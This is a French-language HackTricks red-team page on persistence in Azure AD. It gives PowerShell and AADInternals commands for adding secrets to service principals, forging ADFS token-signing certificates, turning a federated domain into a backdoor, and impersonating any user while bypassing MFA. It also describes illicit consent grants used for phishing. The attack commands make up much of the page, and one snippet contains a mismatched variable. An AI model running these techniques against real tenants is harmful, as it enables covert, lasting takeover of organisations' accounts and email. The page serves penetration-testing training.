Az - Persistence

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Consentement illicite accordé

Par défaut, tout utilisateur peut enregistrer une application dans Azure AD. Ainsi, vous pouvez enregistrer une application (uniquement pour le locataire cible) qui nécessite des autorisations à fort impact avec le consentement de l'administrateur (l'approuver si vous êtes l'administrateur) - comme envoyer des e-mails au nom d'un utilisateur, la gestion des rôles, etc. Cela nous permettra d'exécuter des attaques de phishing qui seraient très fructueuses en cas de succès.

De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès.

Applications et principaux de service

Avec les privilèges d'administrateur d'application, GA ou un rôle personnalisé avec des autorisations de mise à jour des informations d'identification microsoft.directory/applications/credentials, nous pouvons ajouter des informations d'identification (secret ou certificat) à une application existante.

Il est possible de cibler une application avec des autorisations élevées ou ajouter une nouvelle application avec des autorisations élevées.

Un rôle intéressant à ajouter à l'application serait le rôle d'administrateur d'authentification privilégié car il permet de réinitialiser le mot de passe des administrateurs globaux.

Cette technique permet également de contourner l'authentification multifactorielle.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Pour l'authentification basée sur des certificats

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Fédération - Certificat de signature de jeton

Avec des privilèges DA sur AD local, il est possible de créer et d'importer de nouveaux certificats de signature de jeton et de déchiffrement de jeton ayant une très longue validité. Cela nous permettra de nous connecter en tant que n'importe quel utilisateur dont nous connaissons l'ImuutableID.

Exécutez la commande ci-dessous en tant que DA sur le serveur(s) ADFS pour créer de nouveaux certificats (mot de passe par défaut 'AADInternals'), les ajouter à ADFS, désactiver le renouvellement automatique et redémarrer le service :

New-AADIntADFSSelfSignedCertificates

Ensuite, mettez à jour les informations du certificat avec Azure AD :

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Fédération - Domaine de confiance

Avec des privilèges GA sur un locataire, il est possible d'ajouter un nouveau domaine (doit être vérifié), de configurer son type d'authentification en Fédéré et de configurer le domaine pour faire confiance à un certificat spécifique (any.sts dans la commande ci-dessous) et à l'émetteur :

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Dernière mise à jour